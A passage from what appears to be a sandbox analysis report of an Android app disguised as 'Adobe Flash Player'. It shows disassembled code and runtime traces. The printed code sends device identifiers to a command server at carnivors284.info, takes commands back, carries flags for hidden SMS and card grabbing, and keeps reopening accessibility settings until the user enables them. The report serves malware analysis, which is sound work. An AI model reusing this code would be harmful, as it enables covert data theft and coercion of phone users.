                                            126move-result-object v2
                                            128invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            129cond_9f:
                                            130iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            132const-string v1, "ACCESSIBILITY_RUNNING"
                                            134invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            135move-result-object v0
                                            137invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            138move-result v0
                                            139if-ne v0, v5, :cond_b8
                                            141iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            143const-string v1, "ACCESSIBILITY_RUNNING"
                                            145invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            146move-result-object v2
                                            148invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            149cond_b8:
                                            150iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            152const-string v1, "IS_INSTALL"
                                            154invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            155move-result-object v0
                                            157invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            158move-result v0
                                            159if-ne v0, v5, :cond_d1
                                            161iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            163const-string v1, "IS_INSTALL"
                                            165invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            166move-result-object v2
                                            168invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            169cond_d1:
                                            170iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            172const-string v1, "JOB_ID"
                                            174invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            175move-result-object v0
                                            177invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            178move-result v0
                                            179if-ne v0, v5, :cond_ea
                                            181iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            183const-string v1, "JOB_ID"
                                            185invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            186move-result-object v2
                                            188invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            189cond_ea:
                                            190iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            192const-string v1, "EXTENDED_INJECTION"
                                            194invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            195move-result-object v0
                                            197invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            198move-result v0
                                            199if-ne v0, v5, :cond_103
                                            201iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            203const-string v1, "EXTENDED_INJECTION"
                                            205invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            206move-result-object v2
                                            208invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            209cond_103:
                                            210iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            212const-string v1, "DISABLE_INJECT"
                                            214invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            215move-result-object v0
                                            217invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            218move-result v0
                                            219if-ne v0, v5, :cond_11c
                                            221iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            223const-string v1, "DISABLE_INJECT"
                                            225invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            226move-result-object v2
                                            228invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            229cond_11c:
                                            230iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            232const-string v1, "SCREEN_ON"
                                            234invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            235move-result-object v0
                                            237invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            238move-result v0
                                            239if-ne v0, v5, :cond_135
                                            241iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            243const-string v1, "SCREEN_ON"
                                            245invoke-static {v7}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            246move-result-object v2
                                            248invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            249cond_135:
                                            250iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            252const-string v1, "ANDROID_ID"
                                            254invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            255move-result-object v0
                                            257const-string v1, ""
                                            259invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            260move-result v0
                                            261if-eqz v0, :cond_156
                                            263iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            265const-string v1, "ANDROID_ID"
                                            267invoke-virtual {p0}, Limprove/harbor/eager/PreActivity;->getContentResolver()Landroid/content/ContentResolver;
                                            268move-result-object v2
                                            270const-string v3, "android_id"
                                            272invoke-static {v2, v3}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                            • Time: 1515483
                                              • p0: android.app.ContextImpl$ApplicationContentResolver@8209f38
                                              • p1: android_id
                                              • Return:
                                                • b8e688b87ab41f9
                                            273move-result-object v2
                                            275invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            276cond_156:
                                            277iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            279const-string v1, "SERVER_SMS_URL"
                                            281invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            282move-result-object v0
                                            284const-string v1, ""
                                            286invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            287move-result v0
                                            288if-eqz v0, :cond_188
                                            290iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            292const-string v1, "SERVER_PING_URL"
                                            293new-instance v2, Ljava/lang/StringBuilder;
                                            295invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            297iget-object v3, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            299const-string v4, "SERVER_IP"
                                            301invoke-virtual {v3, v4}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            302move-result-object v3
                                            304invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            305move-result-object v2
                                            307const-string v3, "/ping.php"
                                            309invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            310move-result-object v2
                                            312invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            313move-result-object v2
                                            315invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            316cond_188:
                                            317iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            319const-string v1, "SERVER_SMS_URL"
                                            321invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            322move-result-object v0
                                            324const-string v1, ""
                                            326invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            327move-result v0
                                            328if-eqz v0, :cond_1ba
                                            330iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            332const-string v1, "SERVER_SMS_URL"
                                            333new-instance v2, Ljava/lang/StringBuilder;
                                            335invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                            337iget-object v3, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            339const-string v4, "SERVER_IP"
                                            341invoke-virtual {v3, v4}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            342move-result-object v3
                                            344invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            345move-result-object v2
                                            347const-string v3, "/sms.php"
                                            349invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            350move-result-object v2
                                            352invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            353move-result-object v2
                                            355invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            356cond_1ba:
                                            357iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            359const-string v1, "DEBUG_TO_API"
                                            361invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            362move-result-object v0
                                            364invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            365move-result v0
                                            366if-ne v0, v5, :cond_1d3
                                            368iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            370const-string v1, "DEBUG_TO_API"
                                            372invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            373move-result-object v2
                                            375invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            376cond_1d3:
                                            377invoke-virtual {p0}, Limprove/harbor/eager/PreActivity;->getWindow()Landroid/view/Window;
                                            378move-result-object v0
                                            380invoke-virtual {v0, v8, v8}, Landroid/view/Window;->setFlags(II)V
                                            381new-instance v0, Landroid/content/Intent;
                                            382const-class v1, Limprove/harbor/eager/MainService;
                                            384invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            385sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                            386const/16 v2, 0x1a
                                            387if-lt v1, v2, :cond_218
                                            389invoke-virtual {p0, v0}, Limprove/harbor/eager/PreActivity;->startForegroundService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            390goto_1ea:
                                            391iget-object v0, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            393const-string v1, "SHOW_WINDOW"
                                            395invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            396move-result-object v0
                                            398invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            399move-result v0
                                            400if-ne v0, v7, :cond_21c
                                            401const/high16 v0, 0x7f040000
                                            403invoke-virtual {p0, v0}, Limprove/harbor/eager/PreActivity;->setContentView(I)V
                                            404new-instance v0, Landroid/os/Handler;
                                            406invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            407new-instance v1, Limprove/harbor/eager/r;
                                            409invoke-direct {v1, p0}, Limprove/harbor/eager/r;-><init>(Limprove/harbor/eager/PreActivity;)V
                                            411iget-object v2, p0, Limprove/harbor/eager/PreActivity;->a:Limprove/harbor/eager/g;
                                            413const-string v3, "HIDE_DELAY_START_WINDOW"
                                            415invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            416move-result-object v2
                                            418invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                                            419move-result v2
                                            420int-to-long v2, v2
                                            422invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            423goto_217: return-void
                                            424cond_218:
                                            425invoke-virtual {p0, v0}, Limprove/harbor/eager/PreActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                                            • Time: 1515507
                                              • This:
                                                • improve.harbor.eager.PreActivity@3b8e052
                                              • p0: Intent { cmp=access.pact.agent/improve.harbor.eager.MainService }
                                              • Return:
                                                • ComponentInfo{access.pact.agent/improve.harbor.eager.MainService}
                                            426goto/16 :goto_1ea
                                            427cond_21c:
                                            428invoke-virtual {p0}, Limprove/harbor/eager/PreActivity;->a()V
                                            429goto/16 :goto_217
                                            APIs
                                            • java.net.URL.<init>
                                            • java.net.URL.openConnection
                                            • java.net.HttpURLConnection.setReadTimeout
                                            • java.net.HttpURLConnection.setConnectTimeout
                                            • java.net.HttpURLConnection.setRequestMethod
                                            • java.net.HttpURLConnection.setDoInput
                                            • java.net.HttpURLConnection.setDoOutput
                                            • java.net.HttpURLConnection.getOutputStream
                                            • java.io.OutputStreamWriter.<init>
                                            • java.io.OutputStreamWriter.write
                                            • java.io.OutputStreamWriter.flush
                                            • java.io.OutputStreamWriter.close
                                            • java.net.HttpURLConnection.getInputStream
                                            • java.io.InputStreamReader.<init>
                                            • java.io.BufferedReader.<init>
                                            • java.io.BufferedReader.readLine
                                            • java.lang.StringBuilder.append
                                            • java.lang.Exception.printStackTrace
                                            • java.io.BufferedReader.close
                                            Strings
                                            • http://carnivors284.info/api3/ping.php
                                            • POST
                                            • {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsActivity : onCreate() Called..."}
                                            • {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsReceiver : Settings Closed...Re-Opening it!"}
                                            • {"DEVICE_ID":"b8e688b87ab41f9","TAG":"adobe2","SMS_ALLOW":1,"HIDDEN_SMS_ALLOW":1,"CC_GRABBER":0,"EXTENDED_INJECTION":0,"ACCESSIBILITY":0,"SCREEN_ON":1,"INSTALL":1,"PKG_NAME":"access.pact.agent","RELEASE_VERSION":"2.0d"}
                                            • {"PING":"OK","COMMAND":"START_DEBUG"}
                                            Position Instruction Meta Information
                                            0try_start_0: new-instance v0, Ljava/net/URL;
                                            2iget-object v1, p0, Limprove/harbor/eager/q;->c:Ljava/lang/String;
                                            4invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                            • Time: 1516051
                                              • This:
                                                • http://carnivors284.info/api3/ping.php
                                              • p0: http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • http://carnivors284.info/api3/ping.php
                                            6invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                            • Time: 1516061
                                              • This:
                                                • http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                            7move-result-object v0
                                            8check-cast v0, Ljava/net/HttpURLConnection;
                                            9const/16 v1, 0x2710
                                            11invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                            12const/16 v1, 0x3a98
                                            14invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                            16const-string v1, "POST"
                                            18invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                            19const/4 v1, 0x1
                                            21invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                                            22const/4 v1, 0x1
                                            24invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                            25new-instance v1, Ljava/io/OutputStreamWriter;
                                            27invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                            28move-result-object v2
                                            30invoke-direct {v1, v2}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;)V
                                            32iget-object v2, p0, Limprove/harbor/eager/q;->b:Ljava/lang/String;
                                            34invoke-virtual {v1, v2}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V
                                            • Time: 1516148
                                              • This:
                                                • java.io.OutputStreamWriter@df805d6
                                              • p0: {"DEVICE_ID":"b8e688b87ab41f9","TAG":"adobe2","SMS_ALLOW":1,"HIDDEN_SMS_ALLOW":1,"CC_GRABBER":0,"EXTENDED_INJECTION":0,"ACCESSIBILITY":0,"SCREEN_ON":1,"INSTALL":1,"PKG_NAME":"access.pact.agent","RELEASE_VERSION":"2.0d"}
                                            • Time: 1517112
                                              • This:
                                                • java.io.OutputStreamWriter@1e2a5e
                                              • p0: {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsActivity : onCreate() Called..."}
                                            • Time: 1521315
                                              • This:
                                                • java.io.OutputStreamWriter@873b27
                                              • p0: {"DEVICE_ID":"b8e688b87ab41f9","RELEASE_VERSION":"2.0d","MSG":"SettingsReceiver : Settings Closed...Re-Opening it!"}
                                            36invoke-virtual {v1}, Ljava/io/OutputStreamWriter;->flush()V
                                            38invoke-virtual {v1}, Ljava/io/OutputStreamWriter;->close()V
                                            40invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                            • Time: 1516583
                                              • This:
                                                • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • buffer(com.android.okhttp.okio.GzipSource@527702d).inputStream()
                                            • Time: 1517520
                                              • This:
                                                • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • buffer(com.android.okhttp.okio.GzipSource@8441ed3).inputStream()
                                            • Time: 1521619
                                              • This:
                                                • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • buffer(com.android.okhttp.okio.GzipSource@5922fbe).inputStream()
                                            • Time: 1521781
                                              • This:
                                                • com.android.okhttp.internal.huc.HttpURLConnectionImpl:http://carnivors284.info/api3/ping.php
                                              • Return:
                                                • buffer(com.android.okhttp.okio.GzipSource@2357135).inputStream()
                                            41move-result-object v0
                                            42new-instance v1, Ljava/io/InputStreamReader;
                                            44invoke-direct {v1, v0}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                            45new-instance v0, Ljava/io/BufferedReader;
                                            47invoke-direct {v0, v1}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                            48goto_46:
                                            49invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                            • Time: 1516617
                                              • This:
                                                • java.io.BufferedReader@fe2af3
                                              • Return:
                                                • {"PING":"OK","COMMAND":"START_DEBUG"}
                                            • Time: 1516632
                                              • This:
                                                • java.io.BufferedReader@fe2af3
                                              • Return:
                                                • null
                                            50move-result-object v1
                                            51if-eqz v1, :cond_57
                                            53iget-object v2, p0, Limprove/harbor/eager/q;->a:Ljava/lang/StringBuilder;
                                            55invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            56try_end_51: goto/16 :goto_46
                                            57catch_52: move-exception v0
                                            59invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                            60goto_56: return-void
                                            61cond_57:
                                            62invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V
                                            63try_end_5a: goto/16 :goto_56
                                            APIs
                                            • android.app.Activity.onCreate
                                            • improve.harbor.eager.SettingsActivity.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • improve.harbor.eager.SettingsActivity.a:Limprove/harbor/eager/g
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • android.widget.Toast.makeText
                                            • android.widget.Toast.show
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.SettingsActivity.startActivity
                                            Strings
                                            • SettingsActivity
                                            • onCreate() Called...
                                            • ACCESSIBILITY_RUNNING
                                            • TXT_17
                                            • APP_NAME
                                            • android.settings.ACCESSIBILITY_SETTINGS
                                            • Accessibility is already Running...
                                            Position Instruction Meta Information
                                            0const/4 v3, 0x1
                                            2invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            3move-result-object v0
                                            4iput-object v0, p0, Limprove/harbor/eager/SettingsActivity;->a:Limprove/harbor/eager/g;
                                            5sput-object p0, Limprove/harbor/eager/SettingsActivity;->b:Limprove/harbor/eager/SettingsActivity;
                                            7const-string v0, "SettingsActivity"
                                            9const-string v1, "onCreate() Called..."
                                            11invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            13invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                                            15iget-object v0, p0, Limprove/harbor/eager/SettingsActivity;->a:Limprove/harbor/eager/g;
                                            17const-string v1, "ACCESSIBILITY_RUNNING"
                                            19invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            20move-result-object v0
                                            22invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            23move-result v0
                                            24if-eq v0, v3, :cond_62
                                            25new-instance v0, Ljava/lang/StringBuilder;
                                            27invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                            29const-string v1, "TXT_17"
                                            31invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            32move-result-object v1
                                            34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            35move-result-object v0
                                            37iget-object v1, p0, Limprove/harbor/eager/SettingsActivity;->a:Limprove/harbor/eager/g;
                                            39const-string v2, "APP_NAME"
                                            41invoke-virtual {v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            42move-result-object v1
                                            44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            45move-result-object v0
                                            47invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            48move-result-object v0
                                            50invoke-static {p0, v0, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                                            51move-result-object v0
                                            53invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                                            54new-instance v0, Landroid/content/Intent;
                                            56const-string v1, "android.settings.ACCESSIBILITY_SETTINGS"
                                            58invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                            59const/high16 v1, 0x20000000
                                            61invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            62const/high16 v1, 0x10000
                                            64invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            65const v1, 0x8000
                                            67invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            69invoke-virtual {p0, v0}, Limprove/harbor/eager/SettingsActivity;->startActivity(Landroid/content/Intent;)V
                                            • Time: 1517094
                                              • This:
                                                • improve.harbor.eager.SettingsActivity@2fb9086
                                              • intent: Intent { act=android.settings.ACCESSIBILITY_SETTINGS flg=0x20018000 }
                                            70goto_61: return-void
                                            71cond_62:
                                            72const-string v0, "SettingsActivity"
                                            74const-string v1, "Accessibility is already Running..."
                                            76invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            77goto/16 :goto_61
                                            APIs
                                            • improve.harbor.eager.AccessibilityWatcher$1.c:Limprove/harbor/eager/AccessibilityWatcher
                                            • improve.harbor.eager.AccessibilityWatcher.a
                                            • java.lang.Integer.intValue
                                            • improve.harbor.eager.AccessibilityWatcher$1.c:Limprove/harbor/eager/AccessibilityWatcher
                                            • improve.harbor.eager.AccessibilityWatcher.getSystemService
                                            • android.app.ActivityManager.getRunningTasks
                                            • java.util.List.get
                                            • android.app.ActivityManager$RunningTaskInfo.topActivity:Landroid/content/ComponentName
                                            • android.content.ComponentName.getPackageName
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityWatcher$1.c:Limprove/harbor/eager/AccessibilityWatcher
                                            • improve.harbor.eager.AccessibilityWatcher$1.a:Landroid/content/Intent
                                            • improve.harbor.eager.AccessibilityWatcher.startActivity
                                            • improve.harbor.eager.AccessibilityWatcher$1.b:Ljava/util/Timer
                                            • java.util.Timer.cancel
                                            • improve.harbor.eager.AccessibilityWatcher$1.b:Ljava/util/Timer
                                            • java.util.Timer.purge
                                            • improve.harbor.eager.AccessibilityWatcher$1.c:Limprove/harbor/eager/AccessibilityWatcher
                                            • improve.harbor.eager.AccessibilityWatcher.stopSelf
                                            Strings
                                            • ACCESSIBILITY_RUNNING
                                            • activity
                                            • com.android.settings
                                            Position Instruction Meta Information
                                            0const/4 v2, 0x1
                                            2iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->c:Limprove/harbor/eager/AccessibilityWatcher;
                                            4invoke-static {v0}, Limprove/harbor/eager/AccessibilityWatcher;->a(Limprove/harbor/eager/AccessibilityWatcher;)Limprove/harbor/eager/g;
                                            5move-result-object v0
                                            7const-string v1, "ACCESSIBILITY_RUNNING"
                                            9invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            10move-result-object v0
                                            12invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            13move-result v0
                                            14if-eq v0, v2, :cond_40
                                            16iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->c:Limprove/harbor/eager/AccessibilityWatcher;
                                            18const-string v1, "activity"
                                            20invoke-virtual {v0, v1}, Limprove/harbor/eager/AccessibilityWatcher;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            • Time: 1515582
                                              • This:
                                                • improve.harbor.eager.AccessibilityWatcher@cc04f67
                                              • p0: activity
                                              • Return:
                                                • android.app.ActivityManager@a96efb2
                                            21move-result-object v0
                                            22check-cast v0, Landroid/app/ActivityManager;
                                            23if-eqz v0, :cond_3f
                                            25invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningTasks(I)Ljava/util/List;
                                            26move-result-object v0
                                            27const/4 v1, 0x0
                                            29invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                            30move-result-object v0
                                            31check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                                            33iget-object v0, v0, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                                            35invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                                            36move-result-object v0
                                            38const-string v1, "com.android.settings"
                                            40invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            41move-result v0
                                            42if-nez v0, :cond_3f
                                            44iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->c:Limprove/harbor/eager/AccessibilityWatcher;
                                            46iget-object v1, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->a:Landroid/content/Intent;
                                            48invoke-virtual {v0, v1}, Limprove/harbor/eager/AccessibilityWatcher;->startActivity(Landroid/content/Intent;)V
                                            • Time: 1515593
                                              • This:
                                                • improve.harbor.eager.AccessibilityWatcher@cc04f67
                                              • p0: Intent { flg=0x14400000 cmp=access.pact.agent/improve.harbor.eager.SettingsActivity }
                                            49cond_3f: return-void
                                            50cond_40:
                                            51iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->b:Ljava/util/Timer;
                                            53invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
                                            55iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->b:Ljava/util/Timer;
                                            57invoke-virtual {v0}, Ljava/util/Timer;->purge()I
                                            59iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher$1;->c:Limprove/harbor/eager/AccessibilityWatcher;
                                            61invoke-virtual {v0}, Limprove/harbor/eager/AccessibilityWatcher;->stopSelf()V
                                            62goto/16 :goto_3f
                                            Cross References
                                            APIs
                                            • android.content.SharedPreferences.getString
                                            Strings
                                            • 2.0d
                                            • ANDROID_ID
                                            • APP_NAME
                                            • APP_TAG
                                            • Adobe Flash Player
                                            • RELEASE_VERSION
                                            • SERVER_IP
                                            • SERVER_PING_URL
                                            • SERVER_SMS_URL
                                            • adobe2
                                            • b8e688b87ab41f9
                                            • http://carnivors284.info/api3/ping.php
                                            • http://carnivors284.info/api3
                                            Position Instruction Meta Information
                                            1iget-object v0, p0, Limprove/harbor/eager/g;->b:Landroid/content/SharedPreferences;
                                            3const-string v1, ""
